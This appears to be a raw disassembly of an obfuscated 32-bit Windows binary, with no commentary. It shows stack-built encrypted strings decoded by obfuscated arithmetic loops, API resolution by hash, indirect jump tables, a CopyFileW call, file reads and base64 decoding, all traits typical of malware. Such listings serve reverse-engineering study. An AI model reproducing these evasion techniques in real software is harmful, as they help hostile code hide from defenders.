mov dword [edi + 0x10], 0x5d3b7853
mov dword [edi + 0x14], 0x7f757279
mov dword [edi + 0x18], 0x69763179
mov word [edi + 0x1c], 0xe774
mov dword [edi + 0x1e], 0
mov word [edi + 0x22], 0
mov eax, 0x87cdaeff
mov ecx, 0x78325100
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 0x34], edi
movzx edx, byte [edi + eax + 0x78325101]
mov esi, edx
and esi, eax
mov edi, esi
and edi, 0xfffffffd
mov ebx, esi
and ebx, 2
or esi, 2
imul esi, ebx
xor ebx, 2
imul ebx, edi
mov edi, dword [ebp - 0x34]
add esi, ebx
mov ebx, esi
xor ebx, eax
and esi, ecx
add esi, esi
sub ebx, esi
add bl, dl
add bl, 5
mov byte [edi + eax + 0x78325101], bl
inc eax
dec ecx
cmp eax, 0x87cdaf23
jne 0x42c8f0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov ecx, dword [ebp + 8]
push edx
push eax
push edi
call fcn.0040d690
jmp dword [0x44ede0]
push dword [ebp - 0x20]
mov ebx, eax
call fcn.0040cbd0
add esp, 4
and bl, 1
mov dword [ebp - 0x14], ebx
mov eax, dword [ebp - 0x1c]
jmp dword [0x44edec]
push dword [ebp - 0x2c]
call fcn.0040cbd0
add esp, 4
mov eax, dword [ebp - 0x14]
mov ecx, eax
and cl, 1
movzx ecx, cl
mov edi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x18]
jmp dword [ecx*4 + 0x44edd8]
jmp dword [0x44edd0]
mov eax, dword [ebp - 0x14]
mov ecx, eax
and cl, 1
movzx ecx, cl
mov edi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x18]
jmp dword [ecx*4 + 0x44edd8]
jmp dword [0x44ede0]
and al, 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
jmp dword [0x44edec]
mov esi, dword [eax]
test esi, esi
je case.0x42cf3b.116
mov edi, dword [eax + 4]
cmp esi, edi
je case.0x42cf3b.116
mov ebx, esi
jmp 0x42c9e7
add ebx, 8
cmp ebx, edi
je 0x42c9f8
mov eax, dword [ebx]
test eax, eax
je 0x42c9e0
push eax
call fcn.0040cbd0
add esp, 4
jmp 0x42c9e0
push esi
call fcn.0040cbd0
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
jmp case.0x42cf3b.116
push esi
call fcn.0040cbd0
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
jmp dword [0x44edf0]
mov esi, dword [eax]
test esi, esi
je 0x42ca40
mov edi, dword [eax + 4]
cmp esi, edi
je 0x42ca40
mov ebx, esi
jmp 0x42ca67
add ebx, 8
cmp ebx, edi
je 0x42ca20
mov eax, dword [ebx]
test eax, eax
je 0x42ca60
push eax
call fcn.0040cbd0
add esp, 4
jmp 0x42ca60
push eax
sub esp, 0x14
mov esi, esp
sub esp, 0x54
mov ecx, esp
mov dword [esi], 0x31403f67
mov dword [esi + 4], 0x35463345
mov dword [esi + 8], 0x494a3757
mov dword [esi + 0xc], 0x4d1a4b34
mov dword [esi + 0x10], 0x413a4f2f
mov dword [esi + 0x14], 0x45424338
mov edx, 0x15a10135
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + edx - 0x15a10135]
mov ebx, eax
and ebx, edx
add bl, bl
sub al, bl
movzx eax, al
add eax, edx
add al, 0xf7
mov byte [esi + edx - 0x15a10135], al
inc edx
cmp edx, 0x15a1014d
jne 0x42cac0
mov dword [ecx], 0xf74809ac
mov dword [ecx + 4], 0xf339f539
mov dword [ecx + 8], 0xff41f139
mov dword [ecx + 0xc], 0xfb44fd40
mov dword [ecx + 0x10], 0xe742f941
mov dword [ecx + 0x14], 0xe323e551
mov dword [ecx + 0x18], 0xef26e12f
mov dword [ecx + 0x1c], 0xeb58ed25
mov dword [ecx + 0x20], 0xd772e925
mov dword [ecx + 0x24], 0xd361d56b
mov dword [ecx + 0x28], 0xdf62d11a
mov dword [ecx + 0x2c], 0xdb1bdd67
mov dword [ecx + 0x30], 0xc70bd966
mov dword [ecx + 0x34], 0xc378c560
mov dword [ecx + 0x38], 0xcf5ac161
mov dword [ecx + 0x3c], 0xcb67cd56
mov dword [ecx + 0x40], 0xb709c96c
mov dword [ecx + 0x44], 0xb31fb528
mov dword [ecx + 0x48], 0xbf2bb111
mov word [ecx + 0x4c], 0xbdbc
mov word [ecx + 0x52], 0
mov dword [ecx + 0x4e], 0
xor edx, edx
mov eax, edx
add al, 0x7e
xor al, byte [ecx + edx]
add al, 0x8a
mov byte [ecx + edx], al
inc edx
cmp edx, 0x54
jne 0x42cb80
push esi
push ecx
call fcn.0043c4a0
add esp, 8
push eax
sub esp, 0x14
mov esi, esp
sub esp, 0x54
mov ecx, esp
sub esp, 0xc
mov dword [ebp - 0x1c], esp
sub esp, 0x2c
mov dword [ebp - 0x24], esp
sub esp, 0x2c
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x10], esp
sub esp, 0x24
mov dword [ebp - 0x30], esp
sub esp, 0x40
mov dword [ebp - 0x18], esp
sub esp, 0x44
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x50], esp
push eax
mov dword [ebp - 0x3c], esp
push eax
mov dword [ebp - 0x44], esp
sub esp, 0x28
mov dword [ebp - 0x68], esp
sub esp, 8
mov dword [ebp - 0x6c], esp
sub esp, 8
mov dword [ebp - 0x54], esp
sub esp, 8
mov dword [ebp - 0x4c], esp
sub esp, 0x24
mov edi, esp
mov dword [esi], 0x31403f67
mov dword [esi + 4], 0x35463345
mov dword [esi + 8], 0x494a3757
mov dword [esi + 0xc], 0x4d1a4b34
mov dword [esi + 0x10], 0x413a4f2f
mov dword [esi + 0x14], 0x45424338
mov edx, 0x15a10135
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + edx - 0x15a10135]
mov ebx, eax
and ebx, edx
add bl, bl
sub al, bl
movzx eax, al
add eax, edx
add al, 0xf7
mov byte [esi + edx - 0x15a10135], al
inc edx
cmp edx, 0x15a1014d
jne 0x42cc30
mov dword [ecx], 0xf74809ac
mov dword [ecx + 4], 0xf339f539
mov dword [ecx + 8], 0xff41f139
mov dword [ecx + 0xc], 0xfb44fd40
mov dword [ecx + 0x10], 0xe742f941
mov dword [ecx + 0x14], 0xe323e551
mov dword [ecx + 0x18], 0xef26e12f
mov dword [ecx + 0x1c], 0xeb58ed25
mov dword [ecx + 0x20], 0xd772e925
mov dword [ecx + 0x24], 0xd361d56b
mov dword [ecx + 0x28], 0xdf62d11a
mov dword [ecx + 0x2c], 0xdb1bdd67
mov dword [ecx + 0x30], 0xc70bd966
mov dword [ecx + 0x34], 0xc378c560
mov dword [ecx + 0x38], 0xcf5ac161
mov dword [ecx + 0x3c], 0xcb67cd56
mov dword [ecx + 0x40], 0xb709c96c
mov dword [ecx + 0x44], 0xb31fb528
mov dword [ecx + 0x48], 0xbf2bb111
mov word [ecx + 0x4c], 0xbdbc
mov word [ecx + 0x52], 0
mov dword [ecx + 0x4e], 0
xor edx, edx
mov eax, edx
add al, 0x7e
xor al, byte [ecx + edx]
add al, 0x8a
mov byte [ecx + edx], al
inc edx
cmp edx, 0x54
jne 0x42ccf0
push esi
push ecx
call fcn.0043c4a0
add esp, 8
jmp dword [0x44ebfc]
xor ecx, ecx
test eax, eax
sete cl
mov dword [ebp - 0x14], 0
mov edx, dword [ebp - 0x1c]
jmp dword [ecx*4 + 0x44ec00]
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx], 0
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x42cd50
cmp ecx, 0xffffffd9
jge 0x42cd78
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x28], eax
mov ecx, 0xffffffff
jmp 0x42cd81
mov eax, dword [ebp - 0x14]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x28], eax
add ecx, 0x26
push ecx
call fcn.0040cbc0
add esp, 4
mov dword [ebp - 0x14], eax
mov edi, dword [ebp - 0x24]
mov dword [edi], 0x3f993984
mov dword [edi + 4], 0x23b03daf
mov dword [edi + 8], 0x278f218a
mov dword [edi + 0xc], 0x2b96258f
mov dword [edi + 0x10], 0x2fbd298f
mov dword [edi + 0x14], 0x13b82dbe
mov dword [edi + 0x18], 0x17bd11b9
mov dword [edi + 0x1c], 0x1b801546
mov dword [edi + 0x20], 0x1fb419bc
mov dword [edi + 0x24], 0x1d1c
mov byte [edi + 0x28], 0
mov eax, 0xf5
nop
nop
movzx esi, byte [edi]
mov ebx, eax
or ebx, esi
mov edx, esi
not edx
or edx, eax
add edx, esi
mov ecx, 0xfe
sub ecx, edx
and ecx, ebx
mov dl, 0xcd
sub dl, cl
mov byte [edi], dl
inc edi
dec eax
cmp eax, 0xcc
jne 0x42cde0
mov edi, dword [ebp - 0x28]
movzx edx, word [edi]
mov esi, dword [ebp - 0x14]
mov ecx, esi
test dx, dx
je 0x42ce31
mov eax, edi
add eax, 2
mov ecx, esi
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x42ce20
mov word [ecx], 0
mov eax, dword [ebp - 0x24]
movzx edx, word [eax]
test dx, dx
mov ebx, dword [ebp - 0x2c]
je 0x42ce61
add eax, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x42ce50
mov word [ecx], 0
jmp dword [0x44ec08]
push edi
call fcn.0040cbd0
add esp, 4
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x44ec10]
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x44ec10]
mov dword [ebx], 0xf338f133
mov dword [ebx + 4], 0xef0ded08
mov dword [ebx + 8], 0xeb7ce97f
mov dword [ebx + 0xc], 0xe77fe57a
mov dword [ebx + 0x10], 0xe306e17f
mov dword [ebx + 0x14], 0x9f099d7f
mov dword [ebx + 0x18], 0x9b04990e
mov dword [ebx + 0x1c], 0x9709950d
mov dword [ebx + 0x20], 0x931c9146
mov dword [ebx + 0x24], 0x8f108d10
mov dword [ebx + 0x28], 0x8988
mov eax, 0xac
mov ecx, 0x53
nop
nop
nop
nop
nop
movzx esi, byte [ebx + eax - 0xac]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0xa4
mov byte [ebx + eax - 0xac], dl
inc eax
dec ecx
cmp eax, 0xd8
jne case.default.0x42cf3b
push 0
push ebx
mov esi, dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
mov edi, dword [ebp - 0x38]
push edi
push esi
call fcn.00445bb0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ec18]
push 0
mov esi, dword [ebp - 0x10]
push esi
push dword [edi]
call fcn.00445f00
add esp, 0xc
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ec20]
jmp dword [0x44ec2c]
mov esi, dword [esi]
mov eax, esi
and eax, 1
mov ecx, esi
xor ecx, 1
lea eax, [ecx + eax*2]
push eax
call fcn.0040cbc0
add esp, 4
push 0
push esi
mov edi, dword [ebp - 0x38]
push eax
push dword [edi]
call fcn.00445fe0
add esp, 0x10
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov esi, dword [eax]
lea eax, [esi + 1]
push eax
call fcn.0040cbc0
add esp, 4
mov ebx, eax
push 0
push esi
mov esi, dword [ebp - 0x10]
push eax
push dword [edi]
call fcn.00445fe0
add esp, 0x10
jmp dword [0x44ec34]
mov dword [ebp - 0x48], ebx
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ec38]
mov eax, dword [ebp - 0x48]
jmp dword [0x44ec60]
push eax
call fcn.0040cbd0
add esp, 4
nop
nop
nop
nop
nop
jmp dword [0x44ec74]
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x60], 0x54554a4b
mov ecx, 0x6e
mov eax, 0x7bc7c891
nop
nop
nop
nop
movzx esi, byte [ebp + ecx - 0xce]
mov ebx, ecx
and ebx, esi
add ebx, ebx
lea edi, [ecx + esi]
add edi, 0x84383700
mov edx, eax
sub edx, esi
and edx, ebx
not ebx
and ebx, edi
sub ebx, edx
mov edx, ebx
not edx
or edx, 0x6ae6ead9
lea esi, [ebx + edx]
inc esi
mov edi, esi
and edi, 0xfd
mov edx, esi
and edx, 2
or esi, 2
imul esi, edx
xor edx, 2
imul edx, edi
xor ebx, 0xd9
add ebx, esi
add ebx, edx
inc bl
mov byte [ebp + ecx - 0xce], bl
inc ecx
dec eax
cmp ecx, 0x72
jne 0x42d000
mov ecx, dword [0x452d58]
test ecx, ecx
je case.0x42ba9b.20
mov edx, dword [ebp - 0x60]
xor esi, esi
mov edi, dword [0x452d5c]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42d090
inc esi
cmp ecx, esi
jne 0x42d080
jmp case.0x42ba9b.20
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42d2b0
jmp dword [0x44ec88]
push dword [ebp - 0x14]
call fcn.0040cbd0
add esp, 4
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
xor edx, edx
cmp ecx, eax
sete dl
mov esi, dword [ebp - 0x20]
jmp dword [edx*4 + 0x44ec90]
sub eax, ecx
sar eax, 3
mov edx, eax
and edx, 0x421
mov ecx, eax
or eax, 0x421
imul eax, edx
xor edx, 0x421
and ecx, 0xfffffbde
imul ecx, edx
add eax, ecx
push eax
call fcn.0040cbc0
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [esi], 0x790e7b57
mov dword [esi + 4], 0x650b67e9
mov dword [esi + 8], 0x61f6630b
mov dword [esi + 0xc], 0x6dfe6f2f
mov dword [esi + 0x10], 0x69266bfc
mov dword [esi + 0x14], 0x950a9707
mov dword [esi + 0x18], 0x91b993fb
mov dword [esi + 0x1c], 0x9de39ff4
mov dword [esi + 0x20], 0x99f19b00
mov dword [esi + 0x24], 0x851587f7
mov dword [esi + 0x28], 0x811683e0
mov dword [esi + 0x2c], 0x8de38f11
mov dword [esi + 0x30], 0x891e8be3
mov dword [esi + 0x34], 0xb52cb7da
mov dword [esi + 0x38], 0xb1d8b3d8
mov eax, esi
add eax, 0x3c
mov word [esi + 0x3c], 0xbfb0
mov byte [esi + 0x40], 0
mov word [esi + 0x3e], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x6b
xor dl, byte [esi + ecx]
add dl, 0xe9
mov byte [esi + ecx], dl
inc ecx
cmp ecx, 0x41
jne 0x42d180
mov edx, dword [ebp - 0x18]
mov edi, edx
mov ecx, 0xf
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, edx
add edi, 0x3c
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov edi, dword [ebp - 0x50]
push edi
push 0
push 0
push 0x1e
push edx
push 0
call dword [0x452d54]
mov esi, dword [edi]
test esi, esi
jns 0x42d1d3
mov eax, 0xffffffff
jmp 0x42d1d6
lea eax, [esi + esi]
push eax
call fcn.0040cbc0
add esp, 4
mov ebx, eax
push edi
push esi
push eax
push 0x1e
push dword [ebp - 0x18]
push 0
call dword [0x452d54]
push 0x60
push 3
push 0x120089
push dword [ebp - 0x3c]
mov dword [ebp - 0x2c], ebx
push ebx
call fcn.00445bb0
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x18], ecx
jmp dword [eax*4 + 0x44eca8]
push 0
mov edi, dword [ebp - 0x44]
push edi
mov eax, dword [ebp - 0x3c]
push dword [eax]
call fcn.00445f00
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x14], 0
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x44ecb0]
mov esi, dword [edi]
mov eax, esi
and eax, 1
mov ecx, esi
xor ecx, 1
lea eax, [ecx + eax*2]
push eax
call fcn.0040cbc0
add esp, 4
push 0
push esi
mov dword [ebp - 0x28], eax
push eax
mov eax, dword [ebp - 0x3c]
push dword [eax]
call fcn.00445fe0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x14], 0
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x44ecb8]
jmp dword [0x44edb8]
mov dword [ebp - 0x18], esi
push dword [ebp - 0x28]
call fcn.0040cbd0
add esp, 4
jmp dword [0x44edc4]
mov dword [ebp - 0x18], esi
jmp dword [0x44edc4]
push dword [ebp - 0x10]
push 1
push dword [0x452d60]
push ecx
call fcn.004427e0
add esp, 0x10
jmp dword [0x44ec88]
int3
push dword [esp + 8]
push 1
push dword [0x452d60]
push ecx
call fcn.004427e0
add esp, 0x10
mov ebp, dword [esp + 0x3c]
mov esi, dword [esp + 0x6c]
jmp dword [0x44ee78]
mov dword [esp + 4], 0
mov ebx, dword [esp + 0x64]
jmp dword [0x44ee58]
mov dword [esp + 0x64], ebx
mov dword [esp + 0x44], edi
mov dword [esp + 0x7c], eax
push eax
call fcn.00404830
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0xc], 0x342b063d
mov dword [esp + 0x10], 0x9360006
mov dword [esp + 0x14], 0x3c3038f6
mov dword [esp + 0x18], 0x112e180e
mov dword [esp + 0x1c], 0x2c3b2727
mov word [esp + 0x20], 0x1023
mov byte [esp + 0x22], 0x96
lea eax, [esp + 0xc]
mov byte [eax + 0x19], 0
mov word [eax + 0x17], 0
xor ecx, ecx
mov edi, 0xffffffff
mov ebx, ecx
and ebx, 3
mov esi, ecx
and esi, 0xfffffffc
mov ebp, ebx
sub ebp, esi
add esi, edi
sub esi, ebx
movzx ebx, byte [esp + ecx + 0xc]
mov edx, ecx
xor edx, 0x39cae723
add ebp, ecx
add ebp, edx
sub esi, edx
or esi, ebx
not ebx
or ebx, ebp
and ebx, esi
mov al, 0x50
sub al, bl
mov byte [esp + ecx + 0xc], al
inc ecx
dec edi
cmp ecx, 0x1a
jne 0x42d680
lea eax, [esp + 0xc]
push eax
push dword [esp + 8]
call fcn.00404bf0
add esp, 8
mov edx, 0xffffffff
mov ecx, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ecx, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42d6e0
shr ecx, 2
mov esi, edx
mov dword [esp + 8], edx
movzx edx, byte [eax + edx - 1]
cmp edx, 0x3d
mov edi, dword [esp + 0x44]
je 0x42d709
cmp edx, 0x2e
jne 0x42d710
mov edx, ecx
not edx
lea ecx, [edx + ecx*2]
mov edx, dword [esp + 8]
movzx edx, byte [eax + edx - 2]
cmp edx, 0x3d
mov dword [esp + 0x50], eax
je 0x42d727
cmp edx, 0x2e
jne 0x42d728
dec ecx
mov dword [esp + 0x78], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040cbc0
add esp, 4
mov dword [esp + 0x40], eax
cmp dword [esp + 8], 0
je 0x42d835
xor ebp, ebp
mov esi, 2
jmp 0x42d762
mov ebp, ebx
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x42d835
mov ebx, dword [esp + 0x50]
movzx eax, byte [ebx + esi - 2]
push eax
call fcn.00422d10
add esp, 4
mov byte [esp + 4], al
movzx eax, byte [ebx + esi - 1]
push eax
call fcn.00422d10
mov edx, dword [esp + 0xc]
add esp, 4
movzx ecx, byte [esp + 4]
shl cl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, cl
lea ebx, [ebp + 1]
mov ecx, dword [esp + 0x40]
mov dword [esp + 4], ebp
mov byte [ecx + ebp], ah
cmp esi, edx
jae 0x42d750
mov byte [esp + 3], al
mov eax, dword [esp + 0x50]
movzx eax, byte [eax + esi]
push eax
call fcn.00422d10
mov edx, dword [esp + 0xc]
add esp, 4
cmp al, 0x40
mov ebp, ebx
je 0x42d752
movzx ecx, byte [esp + 3]
shl cl, 4
mov byte [esp + 3], al
shr al, 2
and al, 0xf
or al, cl
mov ebx, dword [esp + 4]
lea ebp, [ebx + 2]
mov ecx, dword [esp + 0x40]
mov byte [ecx + ebx + 1], al
lea eax, [esi + 1]
cmp eax, edx
jae 0x42d752
mov eax, dword [esp + 0x50]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00422d10
add esp, 4
cmp al, 0x40
je 0x42d82c
mov ecx, ebx
and ecx, 1
or ebp, 1
add ebp, ecx
movzx ecx, byte [esp + 3]
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x40]
mov byte [ecx + ebx + 2], al
mov edx, dword [esp + 8]
jmp 0x42d752
mov eax, dword [esp + 0x78]
add eax, 0xfffffffb
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x40]
add eax, 5
mov dword [esp + 0x88], eax
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
push 0x31f26afb
push dword [0x452d64]
call fcn.004451d0
add esp, 8
lea ecx, [esp + 0x70]
lea edx, [esp + 0x84]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ee48]
lea eax, [edi + 0x10]
cmp dword [esp + 0x4c], 0xfffffff8
mov edi, dword [esp + 0x54]
mov ebx, dword [esp + 0x64]
jge 0x42d8b2
mov eax, 0xffffffff
push eax
call fcn.0040cbc0
add esp, 4
mov ebp, eax
mov dword [esp + 0xc], 0xfea093b
mov dword [esp + 0x10], 0x3300dfc
mov dword [esp + 0x14], 0x78e01f4
mov dword [esp + 0x18], 0x1b1a05f0
lea eax, [esp + 0x1c]
mov byte [eax + 2], 0
mov word [eax], 0
mov eax, 0x42
mov ecx, 0xbd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x36]
mov esi, edx
not esi
or esi, ecx
or edx, eax
and edx, esi
add dl, 0xb6
mov byte [esp + eax - 0x36], dl
inc eax
dec ecx
cmp eax, 0x55
jne 0x42d900
movzx ecx, word [edi]
mov eax, ebp
test cx, cx
je 0x42d941
lea edx, [edi + 2]
mov eax, ebp
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d930
mov word [eax], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42d973
lea edx, [esp + 0xe]
mov edi, dword [esp + 0x44]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d960
jmp 0x42d977
mov edi, dword [esp + 0x44]
mov word [eax], 0
mov ecx, dword [esp + 0x104]
push dword [esp + 0x70]
push dword [esp + 0x78]
push ebp
call fcn.0040d4c0
mov dword [esp + 4], eax
jmp dword [0x44ee50]
push ebp
call fcn.0040cbd0
add esp, 4
push 0xd80d2c4a
push dword [0x452d4c]
call fcn.004451d0
add esp, 8
push dword [esp + 0x74]
call eax
jmp dword [0x44ee58]
push dword [esp + 0x40]
call fcn.0040cbd0
add esp, 4
push dword [esp + 0x7c]
call fcn.00404de0
add esp, 4
jmp 0x42d9e5
mov dword [esp + 4], 0
mov eax, dword [case.0x42cf3b.131]
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [esp + 0x58]
mov byte [ebx + eax], 0
push ebx
call fcn.00403d70
add esp, 4
mov eax, dword [esp + 0x58]
mov byte [ebx + eax], 0
push ebx
call fcn.00403d70
add esp, 4
jmp dword [0x44ee38]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ee40]
mov esi, dword [esp + ecx + 0x8c]
mov edi, 0xfffffffe
nop
nop
nop
nop
cmp word [esi + edi + 2], 0
lea edi, [edi + 2]
jne 0x42da40
mov dword [esp + 0x80], ecx
mov edx, edi
sar edx, 1
mov eax, dword [esp + 0x60]
lea ecx, [edx + eax]
mov dword [esp + 0x4c], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42da76
mov eax, 0xffffffff
mov dword [esp + 0x54], esi
push eax
call fcn.0040cbc0
add esp, 4
mov esi, eax
movzx ecx, word [ebp]
test cx, cx
je 0x42dab1
mov edx, dword [esp + 0x68]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42daa0
mov word [eax], 0x5c
mov dword [esp + 0xc], 0xd782c9ac
mov dword [esp + 0x10], 0xd3bdd5a7
mov dword [esp + 0x14], 0xdfaad1b1
mov dword [esp + 0x18], 0xdb85ddfc
mov dword [esp + 0x1c], 0xe787d9a4
mov dword [esp + 0x20], 0xe38fe598
mov word [esp + 0x24], 0xe1e0
lea ecx, [esp + 0xc]
mov byte [ecx + 0x1e], 0
mov dword [ecx + 0x1a], 0
mov ecx, 0x4e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x42]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x7a
mov byte [esp + ecx - 0x42], dl
inc ecx
cmp ecx, 0x6d
jne 0x42db10
add eax, 2
mov edx, dword [esp + 0x54]
movzx ecx, word [edx]
test cx, cx
je 0x42db61
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42db50
mov word [eax], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42db91
lea edx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42db80
mov word [eax], 0
lea eax, [esp + 0x5c]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00445bb0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ee18]
xor ebx, ebx
jmp dword [0x44ee78]
mov dword [esp + 0x6c], esi
lea eax, [esp + 0x58]
push 0
push eax
push dword [esp + 0x64]
call fcn.00445f00
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x44ee20]
mov esi, dword [esp + 0x58]
lea eax, [esi + 1]
push eax
call fcn.0040cbc0
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0x68]
call fcn.00445fe0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x44ee28]
jmp dword [0x44ee34]
jmp dword [0x44ee84]
push esi
call fcn.0040cbd0
add esp, 4
nop
push esi
call fcn.0040cbd0
add esp, 4
jmp dword [0x44ee8c]
jmp dword [0x44ee70]
push ebx
call fcn.0040cbd0
add esp, 4
mov eax, dword [esp + 0x5c]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x54554a4b
mov esi, 0x6e
mov ebx, 0x7bc7c891
nop
nop
nop
nop
nop
nop
nop
movzx ebp, byte [esp + esi - 0x62]
mov ecx, esi
and ecx, ebp
add ecx, ecx
lea eax, [esi + ebp]
add eax, 0x84383700
mov edx, ebx
sub edx, ebp
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov eax, ecx
not eax
or eax, 0x6ae6ead9
lea ebp, [ecx + eax]
inc ebp
mov eax, ebp
and eax, 0xfd
mov edx, ebp
and edx, 2
or ebp, 2
imul ebp, edx
xor edx, 2
imul edx, eax
xor ecx, 0xd9
add ecx, ebp
add ecx, edx
inc cl
mov byte [esp + esi - 0x62], cl
inc esi
dec ebx
cmp esi, 0x72
jne 0x42dc90
mov ecx, dword [0x452d58]
test ecx, ecx
mov ebx, dword [esp + 4]
je 0x42dd30
mov edx, dword [esp + 0xc]
xor esi, esi
mov ebp, dword [0x452d5c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + esi*8], 0x7e776f1
je 0x42dd21
inc esi
cmp ecx, esi
jne 0x42dd10
jmp 0x42dd30
mov ecx, dword [ebp + esi*8 + 4]
cmp ecx, edx
jne 0x42d5e9
nop
nop
nop
mov ebp, dword [esp + 0x3c]
mov esi, dword [esp + 0x6c]
jmp dword [0x44ee78]
movzx eax, bl
jmp dword [eax*4 + 0x44ee90]
mov ebp, edi
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x4c]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42dd6a
mov eax, 0xffffffff
push eax
call fcn.0040cbc0
add esp, 4
mov ecx, dword [esp + 0x3c]
movzx ecx, word [ecx]
mov esi, eax
test cx, cx
je 0x42dda1
mov edx, dword [esp + 0x68]
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42dd90
mov dword [esp + 4], eax
mov word [esi], 0x5c
